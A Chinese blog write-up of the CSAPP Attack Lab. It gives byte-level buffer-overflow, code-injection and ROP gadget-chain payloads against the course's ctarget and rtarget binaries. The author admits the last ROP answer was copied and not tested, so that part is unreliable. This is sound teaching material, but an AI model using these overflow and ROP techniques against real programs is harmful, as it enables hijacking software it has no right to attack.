实验文档很重要!很重要!很重要!!!
准备工作
objdump -d ctarget > ctarget.asm
objdump -d rtarget > rtarget.asm
生成反汇编文件。
由于不在cmu服务器,运行时需要加-q。
hex2raw工具:将十六进制转换为原始二进制文件。
./hew2raw < c1.txt > c1raw.txt
以文件为输入调试:
gdb ctarget
(gdb)r -qi c1raw.txt
ctarget1
任务:getbuf执行结束后不返回test,返回touch1。
由csapp的知识可知,我们需要把getbuf分配的写入缓冲区空间覆盖,并将ret返回地址更改为touch1的地址。
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
由getbuf反汇编可以看到,初始时分配了0x28的栈空间用于写入,也就是40个字节,所以我们需要把这40个字节填充,再将touch1的地址写入,这样就把原来ret返回的地址覆盖为touch1的地址。
根据ctarget.asm文件,touch1的地址为4017c0,小端法输入(x86采用小端储存)至c1.txt。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
转换为c1raw.txt,输入调试,攻击成功:

ctarget2
任务:getbuf执行结束后返回touch2,而touch2函数需要参数cookie,跳转进touch2前需把cookie参数传入。
根据实验文档的advice,第一个参数的寄存器为rdi,不能使用jmp和call进行跳转,要用ret来实现。
ret指令是把栈中存放的地址弹出作为下一条指令的地址,相当于pop rip。
考察的是code injection attack嘛,要注入代码实现:将cookie存储到寄存器rdi中,然后利用ret跳转至touch2。我这里cookie值为0x59b997fa,touch2地址为4017ec。
getbuf要返回到注入代码的开头,为了简便,我们就直接把注入代码写到getbuf分配的写入缓冲区里,所以ret地址应该覆盖为getbuf分配栈帧后的栈顶地址,利用gdb查看得到栈顶地址为0x5561dc78。
编写的汇编代码保存为c2.s。
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
然后执行:
gcc -c c2.s
objdump -d c2.o > c2.d
得到注入代码的字节级表示:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
c2.txt:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
转换后输入调试,攻击成功:

ctarget3
任务:类似ctarget2,但是需要传入cookie的字符串作为参数,返回函数为touch3。
根据实验文档的advice,hexmatch和strncmp被调用时会覆盖getbuf的栈,所以我们需要仔细考虑把cookie字符串存在哪里。
那我们不妨将cookie字符串存在test的栈上。也就是说,在覆盖完ret地址为getbuf写入缓冲区栈顶地址后,我们继续覆盖test的栈顶地址,利用gdb查看为0x5561dca8,将cookie字符串存在这里。
touch3的地址为0x4018fa
man ascii查看得到cookie作为字符串转换的ASCII:
35 39 62 39 39 37 66 61
注入代码:
movq $0x5561dca8, %rdi
pushq $0x4018fa
ret
注意此处和ctarget2的区别,touch2函数传入的是cookie值本身,而touch3函数传入的是指针(实验文档中给的很清楚),所以ctarget2中注入代码传给rdi的是cookie值的立即数,ctarget3这里传入的是test的栈顶地址,调用touch3时会根据这个地址找到存在test栈中的cookie字符串ASCII。
机器码:
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
c3.txt:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
转换输入调试,攻击成功:

rtarget1
任务:利用ROP的方法实现ctarget2。
gadget方法其实很好理解,就是在原有代码中找到你需要的段,然后拼接实现你想要实现的。所以任务其实是寻找代码段实现ctarget2的注入代码:
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
但是我们不可能找到这样带立即数赋值的gadget,所以要曲线救国,借用寄存器实现赋值。
advice提示我们用两个gadget就可以完成,并且提示我们popq指令,popq用于将值从栈中弹出到一个寄存器或内存位置。我们可以将cookie的值存在栈上,再pop rdi,将cookie的值赋给rdi,再设置ret值为touch2的地址即可。
查表可知pop rdi的机器码为5f,但在rtarget.asm中查找不到类似这样的用法,所以只能再倒换一下,先将cookie存在rax寄存器中,再把rax赋给rdi。
查表值pop rax的机器码为58,查找得:
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
所以pop rax的地址为4019ab。
同理查表movq rax,rdi的机器码为48 89 c7,查找得:
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
所以move rax,rdi的地址为4019a3。
(move rax,rdi的地址不唯一。)
编写r1.txt的顺序即先填满缓冲区,然后覆盖返回值为pop rax的地址,弹出存储到rax的cookie的值,movq rax,rdi的地址,然后返回到touch2的地址。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a3 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
转换后输入调试,攻击成功:

rtarget2
任务:同理,用ROP的方法实现ctarget3。
实验文档主要在劝退哈,表明了本题分值小、难度大,提示考虑movl,也就是四个字节的寄存器表示,以及官方答案用到了八个寄存器,量力而行。
也就是寻找gadget实现:
movq $0x5561dca8, %rdi
pushq $0x4018fa
ret
由ctarget3我们知道,0x5561dca8是存储cookie字符串对于ASCII的地址,是test栈上一个确定的地址。但在rtarget下,栈的位置随机,我们没办法把cookie放在一个绝对地址上。
所以我们要找一个基准,rsp。
touch3函数的栈会被覆盖更改,所以还是应该放在test的栈上,且由于我们还要在栈上填写gadget地址,所以实际存放cookie字符串ASCII的地方距离rsp有一个偏移量,这个偏移量我们最终根据插入的指令条数可以计算出来,所以最后应该赋给rdi的是rsp+偏移量。根据反汇编文件,我们需要用lea指令来代替加法运算:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
所以理想状态下的我们要实现的代码应该是:
movq %rsp,%rax
movq %rax,%rdi
popq %rsi
//偏移量(6*8=48=0x30)
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
//touch3地址
//cookie字符串ASCII
但是,popq rsi在farm中找不到对应地址,所以又得曲线救国,这就是官方答案用了八个寄存器和movl的原因。解决如何将偏移量存入rsi的过程中多出来很多个movl,最终的代码是:
movq %rsp,%rax
movq %rax,%rdi
popq %rax
//偏移量(9×8=0x48)
movl %eax,%ecx
movl %ecx,%edx
movl %edx,%esi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
//touch3地址
//cookie字符串ASCII
要一点点试,所以官方劝退,我没试嗷,答案搬运工罢辽_(:з」∠)_
r2.txt:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
转换输入调试,攻击成功:

Over!
1万+

被折叠的 条评论
为什么被折叠?



